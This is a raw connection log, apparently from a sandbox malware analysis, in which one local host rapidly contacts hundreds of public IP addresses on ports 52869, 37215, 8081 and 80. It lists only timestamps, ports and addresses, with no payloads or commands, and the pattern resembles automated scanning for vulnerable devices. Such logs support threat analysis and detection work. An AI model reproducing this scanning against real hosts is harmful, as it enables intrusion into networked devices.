Jul 20, 2024 23:10:38.819951057 CEST	51758	52869	192.168.2.15	65.211.208.187
Jul 20, 2024 23:10:38.820230007 CEST	80	38080	88.68.210.140	192.168.2.15
Jul 20, 2024 23:10:38.820275068 CEST	38080	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:38.820589066 CEST	48076	37215	192.168.2.15	41.101.127.58
Jul 20, 2024 23:10:38.820784092 CEST	37215	59708	41.162.253.225	192.168.2.15
Jul 20, 2024 23:10:38.820842028 CEST	59708	37215	192.168.2.15	41.162.253.225
Jul 20, 2024 23:10:38.821434021 CEST	42816	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:38.821468115 CEST	8081	40874	89.94.228.2	192.168.2.15
Jul 20, 2024 23:10:38.821516037 CEST	40874	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:38.821697950 CEST	36584	52869	192.168.2.15	89.186.152.105
Jul 20, 2024 23:10:38.822413921 CEST	52869	48182	109.51.3.47	192.168.2.15
Jul 20, 2024 23:10:38.822453976 CEST	48182	52869	192.168.2.15	109.51.3.47
Jul 20, 2024 23:10:38.823276997 CEST	38156	37215	192.168.2.15	197.251.233.95
Jul 20, 2024 23:10:38.823422909 CEST	37215	45306	197.89.116.170	192.168.2.15
Jul 20, 2024 23:10:38.823465109 CEST	45306	37215	192.168.2.15	197.89.116.170
Jul 20, 2024 23:10:38.824081898 CEST	43702	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:38.824323893 CEST	35850	52869	192.168.2.15	166.167.121.109
Jul 20, 2024 23:10:38.824857950 CEST	8081	53858	109.254.234.165	192.168.2.15
Jul 20, 2024 23:10:38.824901104 CEST	52086	80	192.168.2.15	88.9.81.209
Jul 20, 2024 23:10:38.825143099 CEST	53858	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:38.825169086 CEST	52869	47828	96.224.29.242	192.168.2.15
Jul 20, 2024 23:10:38.825203896 CEST	47828	52869	192.168.2.15	96.224.29.242
Jul 20, 2024 23:10:38.825525999 CEST	50780	37215	192.168.2.15	157.16.29.198
Jul 20, 2024 23:10:38.826302052 CEST	80	33744	88.114.90.66	192.168.2.15
Jul 20, 2024 23:10:38.826339960 CEST	33744	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:38.826375008 CEST	34844	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:38.826611042 CEST	46580	52869	192.168.2.15	222.46.101.20
Jul 20, 2024 23:10:38.826869011 CEST	37215	48076	41.101.127.58	192.168.2.15
Jul 20, 2024 23:10:38.826910973 CEST	48076	37215	192.168.2.15	41.101.127.58
Jul 20, 2024 23:10:38.827461004 CEST	8081	42816	156.118.202.241	192.168.2.15
Jul 20, 2024 23:10:38.827498913 CEST	42816	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:38.828042030 CEST	52820	37215	192.168.2.15	197.1.29.38
Jul 20, 2024 23:10:38.828079939 CEST	52869	36584	89.186.152.105	192.168.2.15
Jul 20, 2024 23:10:38.828118086 CEST	36584	52869	192.168.2.15	89.186.152.105
Jul 20, 2024 23:10:38.828531981 CEST	37215	38156	197.251.233.95	192.168.2.15
Jul 20, 2024 23:10:38.828563929 CEST	38156	37215	192.168.2.15	197.251.233.95
Jul 20, 2024 23:10:38.828813076 CEST	37774	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:38.829057932 CEST	36464	52869	192.168.2.15	152.242.221.75
Jul 20, 2024 23:10:38.829137087 CEST	8081	43702	218.163.113.131	192.168.2.15
Jul 20, 2024 23:10:38.829173088 CEST	43702	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:38.829605103 CEST	42414	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:38.829965115 CEST	57118	37215	192.168.2.15	41.157.245.144
Jul 20, 2024 23:10:38.830744028 CEST	59068	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:38.830965996 CEST	33992	52869	192.168.2.15	178.153.143.199
Jul 20, 2024 23:10:38.832062006 CEST	52869	35850	166.167.121.109	192.168.2.15
Jul 20, 2024 23:10:38.832103968 CEST	35850	52869	192.168.2.15	166.167.121.109
Jul 20, 2024 23:10:38.832109928 CEST	80	52086	88.9.81.209	192.168.2.15
Jul 20, 2024 23:10:38.832143068 CEST	52086	80	192.168.2.15	88.9.81.209
Jul 20, 2024 23:10:38.832178116 CEST	37215	50780	157.16.29.198	192.168.2.15
Jul 20, 2024 23:10:38.832216978 CEST	50780	37215	192.168.2.15	157.16.29.198
Jul 20, 2024 23:10:38.832318068 CEST	8081	34844	220.76.9.69	192.168.2.15
Jul 20, 2024 23:10:38.832350016 CEST	52869	46580	222.46.101.20	192.168.2.15
Jul 20, 2024 23:10:38.832353115 CEST	34844	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:38.832387924 CEST	46580	52869	192.168.2.15	222.46.101.20
Jul 20, 2024 23:10:38.833276033 CEST	50200	37215	192.168.2.15	41.162.208.185
Jul 20, 2024 23:10:38.834028959 CEST	52268	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:38.834362984 CEST	60052	52869	192.168.2.15	221.199.80.98
Jul 20, 2024 23:10:38.834883928 CEST	38116	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:38.835047960 CEST	37215	52820	197.1.29.38	192.168.2.15
Jul 20, 2024 23:10:38.835087061 CEST	52820	37215	192.168.2.15	197.1.29.38
Jul 20, 2024 23:10:38.835297108 CEST	57580	37215	192.168.2.15	153.137.241.70
Jul 20, 2024 23:10:38.835366011 CEST	8081	37774	59.207.243.209	192.168.2.15
Jul 20, 2024 23:10:38.835380077 CEST	52869	36464	152.242.221.75	192.168.2.15
Jul 20, 2024 23:10:38.835395098 CEST	80	42414	88.38.225.220	192.168.2.15
Jul 20, 2024 23:10:38.835400105 CEST	37774	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:38.835407972 CEST	37215	57118	41.157.245.144	192.168.2.15
Jul 20, 2024 23:10:38.835424900 CEST	42414	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:38.835442066 CEST	57118	37215	192.168.2.15	41.157.245.144
Jul 20, 2024 23:10:38.835730076 CEST	8081	59068	140.197.167.36	192.168.2.15
Jul 20, 2024 23:10:38.835773945 CEST	59068	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:38.835848093 CEST	36464	52869	192.168.2.15	152.242.221.75
Jul 20, 2024 23:10:38.836281061 CEST	50948	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:38.836504936 CEST	34248	52869	192.168.2.15	167.160.225.22
Jul 20, 2024 23:10:38.837135077 CEST	52869	33992	178.153.143.199	192.168.2.15
Jul 20, 2024 23:10:38.837171078 CEST	33992	52869	192.168.2.15	178.153.143.199
Jul 20, 2024 23:10:38.837884903 CEST	51110	37215	192.168.2.15	197.246.166.200
Jul 20, 2024 23:10:38.838641882 CEST	55418	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:38.839027882 CEST	41286	52869	192.168.2.15	137.22.60.132
Jul 20, 2024 23:10:38.839174032 CEST	37215	50200	41.162.208.185	192.168.2.15
Jul 20, 2024 23:10:38.839281082 CEST	50200	37215	192.168.2.15	41.162.208.185
Jul 20, 2024 23:10:38.839540005 CEST	52870	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:38.839905024 CEST	47276	37215	192.168.2.15	197.233.147.184
Jul 20, 2024 23:10:38.840718985 CEST	58771	52869	192.168.2.15	99.118.106.29
Jul 20, 2024 23:10:38.840722084 CEST	58771	52869	192.168.2.15	146.67.192.198
Jul 20, 2024 23:10:38.840724945 CEST	8081	52268	136.254.84.193	192.168.2.15
Jul 20, 2024 23:10:38.840748072 CEST	58771	52869	192.168.2.15	74.74.206.232
Jul 20, 2024 23:10:38.840756893 CEST	52268	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:38.840763092 CEST	58771	52869	192.168.2.15	66.29.130.220
Jul 20, 2024 23:10:38.840789080 CEST	58771	52869	192.168.2.15	106.69.59.16
Jul 20, 2024 23:10:38.840848923 CEST	58771	52869	192.168.2.15	118.155.226.123
Jul 20, 2024 23:10:38.840848923 CEST	58771	52869	192.168.2.15	65.78.88.55
Jul 20, 2024 23:10:38.840874910 CEST	58771	52869	192.168.2.15	164.168.209.243
Jul 20, 2024 23:10:38.840910912 CEST	52869	60052	221.199.80.98	192.168.2.15
Jul 20, 2024 23:10:38.840933084 CEST	58771	52869	192.168.2.15	38.143.90.107
Jul 20, 2024 23:10:38.840964079 CEST	58771	52869	192.168.2.15	63.97.65.81
Jul 20, 2024 23:10:38.840964079 CEST	58771	52869	192.168.2.15	184.170.67.27
Jul 20, 2024 23:10:38.840964079 CEST	58771	52869	192.168.2.15	109.200.111.240
Jul 20, 2024 23:10:38.840964079 CEST	58771	52869	192.168.2.15	184.222.232.77
Jul 20, 2024 23:10:38.840964079 CEST	58771	52869	192.168.2.15	25.16.163.132
Jul 20, 2024 23:10:38.840964079 CEST	58771	52869	192.168.2.15	40.139.206.8
Jul 20, 2024 23:10:38.840981960 CEST	80	38116	88.30.5.37	192.168.2.15
Jul 20, 2024 23:10:38.841227055 CEST	58771	52869	192.168.2.15	92.216.196.59
Jul 20, 2024 23:10:38.841227055 CEST	58771	52869	192.168.2.15	191.36.218.84
Jul 20, 2024 23:10:38.841227055 CEST	58771	52869	192.168.2.15	166.169.25.66
Jul 20, 2024 23:10:38.841228008 CEST	58771	52869	192.168.2.15	141.170.58.184
Jul 20, 2024 23:10:38.841228008 CEST	58771	52869	192.168.2.15	47.162.26.170
Jul 20, 2024 23:10:38.841228008 CEST	58771	52869	192.168.2.15	45.153.62.62
Jul 20, 2024 23:10:38.841228008 CEST	58771	52869	192.168.2.15	77.201.115.63
Jul 20, 2024 23:10:38.841228008 CEST	58771	52869	192.168.2.15	223.235.87.4
Jul 20, 2024 23:10:38.841454029 CEST	58771	52869	192.168.2.15	109.87.123.124
Jul 20, 2024 23:10:38.841454983 CEST	58771	52869	192.168.2.15	12.15.153.124
Jul 20, 2024 23:10:38.841454983 CEST	58771	52869	192.168.2.15	171.98.191.97
Jul 20, 2024 23:10:38.841454983 CEST	58771	52869	192.168.2.15	195.207.0.55
Jul 20, 2024 23:10:38.841454983 CEST	58771	52869	192.168.2.15	20.223.23.215
Jul 20, 2024 23:10:38.841454983 CEST	58771	52869	192.168.2.15	51.195.43.231
Jul 20, 2024 23:10:38.841454983 CEST	58771	52869	192.168.2.15	140.169.88.3
Jul 20, 2024 23:10:38.841454983 CEST	58771	52869	192.168.2.15	19.7.44.118
Jul 20, 2024 23:10:38.841763020 CEST	58771	52869	192.168.2.15	14.45.204.86
Jul 20, 2024 23:10:38.841763020 CEST	58771	52869	192.168.2.15	197.206.241.145
Jul 20, 2024 23:10:38.841763020 CEST	58771	52869	192.168.2.15	166.150.32.219
Jul 20, 2024 23:10:38.841763020 CEST	58771	52869	192.168.2.15	59.72.27.90
Jul 20, 2024 23:10:38.841763020 CEST	58771	52869	192.168.2.15	144.224.217.126
Jul 20, 2024 23:10:38.841763020 CEST	58771	52869	192.168.2.15	70.33.189.136
Jul 20, 2024 23:10:38.841763020 CEST	58771	52869	192.168.2.15	112.72.53.27
Jul 20, 2024 23:10:38.843372107 CEST	37215	57580	153.137.241.70	192.168.2.15
Jul 20, 2024 23:10:38.843384981 CEST	8081	50948	109.43.3.47	192.168.2.15
Jul 20, 2024 23:10:38.843395948 CEST	52869	34248	167.160.225.22	192.168.2.15
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	210.237.234.110
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	199.248.104.114
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	208.41.148.99
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	100.180.255.242
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	187.70.196.41
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	57.98.148.229
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	90.25.2.138
Jul 20, 2024 23:10:38.843578100 CEST	58771	52869	192.168.2.15	137.140.74.50
Jul 20, 2024 23:10:38.843625069 CEST	37215	51110	197.246.166.200	192.168.2.15
Jul 20, 2024 23:10:38.843637943 CEST	8081	55418	63.16.209.243	192.168.2.15
Jul 20, 2024 23:10:38.844111919 CEST	52869	41286	137.22.60.132	192.168.2.15
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	4.210.183.193
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	134.159.51.161
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	217.179.58.161
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	221.255.54.167
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	126.29.154.162
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	172.149.150.175
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	152.198.105.114
Jul 20, 2024 23:10:38.844142914 CEST	58771	52869	192.168.2.15	195.68.182.111
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	161.174.65.14
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	155.171.90.214
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	196.54.140.130
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	203.235.22.121
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	43.91.208.66
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	66.162.227.137
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	223.179.196.98
Jul 20, 2024 23:10:38.844257116 CEST	58771	52869	192.168.2.15	141.208.201.80
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	46.169.99.175
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	144.40.158.145
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	162.136.177.252
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	112.250.31.72
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	41.19.211.55
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	163.184.174.135
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	45.156.147.64
Jul 20, 2024 23:10:38.844522953 CEST	58771	52869	192.168.2.15	40.70.214.228
Jul 20, 2024 23:10:38.844722033 CEST	58771	52869	192.168.2.15	34.33.224.36
Jul 20, 2024 23:10:38.844722033 CEST	58771	52869	192.168.2.15	135.228.190.116
Jul 20, 2024 23:10:38.844722033 CEST	58771	52869	192.168.2.15	171.218.135.148
Jul 20, 2024 23:10:38.844722033 CEST	58771	52869	192.168.2.15	195.202.70.255
Jul 20, 2024 23:10:38.844722033 CEST	58771	52869	192.168.2.15	133.76.164.119
Jul 20, 2024 23:10:38.844722033 CEST	58771	52869	192.168.2.15	1.176.202.8
Jul 20, 2024 23:10:38.844722033 CEST	58771	52869	192.168.2.15	42.250.239.223
Jul 20, 2024 23:10:38.844722986 CEST	58771	52869	192.168.2.15	222.252.7.7
Jul 20, 2024 23:10:38.845026016 CEST	80	52870	88.72.94.182	192.168.2.15
Jul 20, 2024 23:10:38.845228910 CEST	58771	52869	192.168.2.15	140.79.132.232
Jul 20, 2024 23:10:38.845228910 CEST	60052	52869	192.168.2.15	221.199.80.98
Jul 20, 2024 23:10:38.845228910 CEST	58771	52869	192.168.2.15	195.250.121.139
Jul 20, 2024 23:10:38.845228910 CEST	58771	52869	192.168.2.15	87.2.229.121
Jul 20, 2024 23:10:38.845228910 CEST	58771	52869	192.168.2.15	194.51.38.79
Jul 20, 2024 23:10:38.845228910 CEST	58771	52869	192.168.2.15	68.235.64.147
Jul 20, 2024 23:10:38.845228910 CEST	58771	52869	192.168.2.15	12.188.91.94
Jul 20, 2024 23:10:38.845228910 CEST	58771	52869	192.168.2.15	76.120.98.58
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	200.157.164.208
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	172.248.193.236
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	63.181.216.41
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	101.108.145.138
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	167.111.167.13
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	201.121.155.5
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	110.195.69.132
Jul 20, 2024 23:10:38.845328093 CEST	58771	52869	192.168.2.15	114.103.82.126
Jul 20, 2024 23:10:38.845351934 CEST	37215	47276	197.233.147.184	192.168.2.15
Jul 20, 2024 23:10:38.845909119 CEST	52869	58771	99.118.106.29	192.168.2.15
Jul 20, 2024 23:10:38.846117020 CEST	52869	58771	146.67.192.198	192.168.2.15
Jul 20, 2024 23:10:38.846128941 CEST	52869	58771	118.155.226.123	192.168.2.15
Jul 20, 2024 23:10:38.846163034 CEST	52869	58771	164.168.209.243	192.168.2.15
Jul 20, 2024 23:10:38.846621990 CEST	52869	58771	106.69.59.16	192.168.2.15
Jul 20, 2024 23:10:38.846633911 CEST	52869	58771	63.97.65.81	192.168.2.15
Jul 20, 2024 23:10:38.846734047 CEST	52869	58771	65.78.88.55	192.168.2.15
Jul 20, 2024 23:10:38.847312927 CEST	52869	58771	184.170.67.27	192.168.2.15
Jul 20, 2024 23:10:38.847326040 CEST	52869	58771	92.216.196.59	192.168.2.15
Jul 20, 2024 23:10:38.847338915 CEST	52869	58771	14.45.204.86	192.168.2.15
Jul 20, 2024 23:10:38.847362995 CEST	52869	58771	109.200.111.240	192.168.2.15
Jul 20, 2024 23:10:38.847381115 CEST	52869	58771	191.36.218.84	192.168.2.15
Jul 20, 2024 23:10:38.847393990 CEST	52869	58771	197.206.241.145	192.168.2.15
Jul 20, 2024 23:10:38.847564936 CEST	52869	58771	166.169.25.66	192.168.2.15
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	178.155.139.110
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	173.221.148.228
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	196.217.9.9
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	97.164.50.55
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	111.75.183.223
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	57.100.65.212
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	141.113.230.124
Jul 20, 2024 23:10:38.847567081 CEST	58771	52869	192.168.2.15	92.38.222.42
Jul 20, 2024 23:10:38.847812891 CEST	52869	58771	184.222.232.77	192.168.2.15
Jul 20, 2024 23:10:38.847826004 CEST	52869	58771	166.150.32.219	192.168.2.15
Jul 20, 2024 23:10:38.847839117 CEST	52869	58771	25.16.163.132	192.168.2.15
Jul 20, 2024 23:10:38.847929955 CEST	58771	52869	192.168.2.15	202.116.72.105
Jul 20, 2024 23:10:38.847929955 CEST	58771	52869	192.168.2.15	145.210.186.189
Jul 20, 2024 23:10:38.847929955 CEST	58771	52869	192.168.2.15	18.208.103.195
Jul 20, 2024 23:10:38.847929955 CEST	58771	52869	192.168.2.15	60.216.97.213
Jul 20, 2024 23:10:38.847929955 CEST	58771	52869	192.168.2.15	77.241.200.75
Jul 20, 2024 23:10:38.847929955 CEST	58771	52869	192.168.2.15	173.225.79.113
Jul 20, 2024 23:10:38.847929955 CEST	58771	52869	192.168.2.15	84.101.193.179
Jul 20, 2024 23:10:38.848422050 CEST	52869	58771	59.72.27.90	192.168.2.15
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	167.80.147.223
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	115.217.213.84
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	129.64.233.15
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	120.182.174.145
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	154.24.39.249
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	31.77.81.9
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	130.31.106.211
Jul 20, 2024 23:10:38.848526001 CEST	58771	52869	192.168.2.15	136.211.29.117
Jul 20, 2024 23:10:38.849134922 CEST	52869	58771	141.170.58.184	192.168.2.15
Jul 20, 2024 23:10:38.849608898 CEST	52869	58771	144.224.217.126	192.168.2.15
Jul 20, 2024 23:10:38.850531101 CEST	52869	58771	47.162.26.170	192.168.2.15
Jul 20, 2024 23:10:38.850543976 CEST	52869	58771	70.33.189.136	192.168.2.15
Jul 20, 2024 23:10:38.850557089 CEST	52869	58771	40.139.206.8	192.168.2.15
Jul 20, 2024 23:10:38.850569010 CEST	52869	58771	45.153.62.62	192.168.2.15
Jul 20, 2024 23:10:38.850580931 CEST	52869	58771	210.237.234.110	192.168.2.15
Jul 20, 2024 23:10:38.850594044 CEST	52869	58771	77.201.115.63	192.168.2.15
Jul 20, 2024 23:10:38.850671053 CEST	52869	58771	199.248.104.114	192.168.2.15
Jul 20, 2024 23:10:38.850684881 CEST	52869	58771	112.72.53.27	192.168.2.15
Jul 20, 2024 23:10:38.850697041 CEST	52869	58771	223.235.87.4	192.168.2.15
Jul 20, 2024 23:10:38.850709915 CEST	52869	58771	38.143.90.107	192.168.2.15
Jul 20, 2024 23:10:38.850720882 CEST	52869	58771	74.74.206.232	192.168.2.15
Jul 20, 2024 23:10:38.850733995 CEST	52869	58771	4.210.183.193	192.168.2.15
Jul 20, 2024 23:10:38.850745916 CEST	52869	58771	161.174.65.14	192.168.2.15
Jul 20, 2024 23:10:38.850758076 CEST	52869	58771	66.29.130.220	192.168.2.15
Jul 20, 2024 23:10:38.850771904 CEST	52869	58771	109.87.123.124	192.168.2.15
Jul 20, 2024 23:10:38.850784063 CEST	52869	58771	134.159.51.161	192.168.2.15
Jul 20, 2024 23:10:38.850799084 CEST	52869	58771	208.41.148.99	192.168.2.15
Jul 20, 2024 23:10:38.850811005 CEST	52869	58771	217.179.58.161	192.168.2.15
Jul 20, 2024 23:10:38.850980997 CEST	52869	58771	140.79.132.232	192.168.2.15
Jul 20, 2024 23:10:38.851392984 CEST	52869	58771	100.180.255.242	192.168.2.15
Jul 20, 2024 23:10:38.851468086 CEST	52869	58771	155.171.90.214	192.168.2.15
Jul 20, 2024 23:10:38.851519108 CEST	52869	58771	187.70.196.41	192.168.2.15
Jul 20, 2024 23:10:38.851582050 CEST	52869	58771	221.255.54.167	192.168.2.15
Jul 20, 2024 23:10:38.851594925 CEST	52869	58771	196.54.140.130	192.168.2.15
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	122.79.202.98
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	8.190.85.240
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	123.14.61.21
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	130.142.173.122
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	222.216.119.91
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	92.195.216.129
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	221.160.194.232
Jul 20, 2024 23:10:38.852385998 CEST	58771	52869	192.168.2.15	129.146.5.212
Jul 20, 2024 23:10:38.852531910 CEST	52869	58771	126.29.154.162	192.168.2.15
Jul 20, 2024 23:10:38.852618933 CEST	52869	58771	57.98.148.229	192.168.2.15
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	197.33.21.86
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	54.158.102.139
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	61.1.165.207
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	46.156.254.69
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	1.209.39.62
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	163.24.64.153
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	196.162.5.87
Jul 20, 2024 23:10:38.853008986 CEST	58771	52869	192.168.2.15	222.44.99.94
Jul 20, 2024 23:10:38.853135109 CEST	52869	58771	203.235.22.121	192.168.2.15
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	8.13.226.92
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	42.146.219.162
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	92.18.13.170
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	161.93.54.6
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	217.150.234.15
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	181.65.248.166
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	132.70.73.95
Jul 20, 2024 23:10:38.853375912 CEST	58771	52869	192.168.2.15	24.166.44.145
Jul 20, 2024 23:10:38.853378057 CEST	52869	58771	172.149.150.175	192.168.2.15
Jul 20, 2024 23:10:38.853391886 CEST	52869	58771	90.25.2.138	192.168.2.15
Jul 20, 2024 23:10:38.853404045 CEST	52869	58771	43.91.208.66	192.168.2.15
Jul 20, 2024 23:10:38.853415966 CEST	52869	58771	137.140.74.50	192.168.2.15
Jul 20, 2024 23:10:38.853866100 CEST	52869	58771	152.198.105.114	192.168.2.15
Jul 20, 2024 23:10:38.855238914 CEST	52869	58771	178.155.139.110	192.168.2.15
Jul 20, 2024 23:10:38.855252981 CEST	52869	58771	195.68.182.111	192.168.2.15
Jul 20, 2024 23:10:38.855263948 CEST	52869	58771	66.162.227.137	192.168.2.15
Jul 20, 2024 23:10:38.855278015 CEST	52869	58771	202.116.72.105	192.168.2.15
Jul 20, 2024 23:10:38.855292082 CEST	52869	58771	223.179.196.98	192.168.2.15
Jul 20, 2024 23:10:38.855304003 CEST	52869	58771	173.221.148.228	192.168.2.15
Jul 20, 2024 23:10:38.855396986 CEST	52869	58771	141.208.201.80	192.168.2.15
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	143.46.197.220
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	119.6.246.136
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	60.113.117.170
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	66.88.126.168
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	184.114.49.59
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	200.10.220.119
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	86.108.11.155
Jul 20, 2024 23:10:38.855691910 CEST	58771	52869	192.168.2.15	116.188.33.5
Jul 20, 2024 23:10:38.856333971 CEST	52869	58771	12.15.153.124	192.168.2.15
Jul 20, 2024 23:10:38.856347084 CEST	52869	58771	200.157.164.208	192.168.2.15
Jul 20, 2024 23:10:38.856359959 CEST	52869	58771	46.169.99.175	192.168.2.15
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	63.75.117.57
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	180.55.108.40
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	159.7.254.101
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	222.79.179.243
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	103.118.11.148
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	86.101.91.169
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	134.173.80.60
Jul 20, 2024 23:10:38.856571913 CEST	58771	52869	192.168.2.15	35.212.114.203
Jul 20, 2024 23:10:38.856609106 CEST	52869	58771	171.98.191.97	192.168.2.15
Jul 20, 2024 23:10:38.856630087 CEST	52869	58771	172.248.193.236	192.168.2.15
Jul 20, 2024 23:10:38.857099056 CEST	52869	58771	144.40.158.145	192.168.2.15
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	87.46.238.224
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	137.150.64.194
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	13.129.217.20
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	92.54.7.102
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	154.244.223.55
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	125.158.123.72
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	71.5.90.99
Jul 20, 2024 23:10:38.857281923 CEST	58771	52869	192.168.2.15	208.102.55.155
Jul 20, 2024 23:10:38.857383013 CEST	52869	58771	34.33.224.36	192.168.2.15
Jul 20, 2024 23:10:38.857398033 CEST	52869	58771	167.80.147.223	192.168.2.15
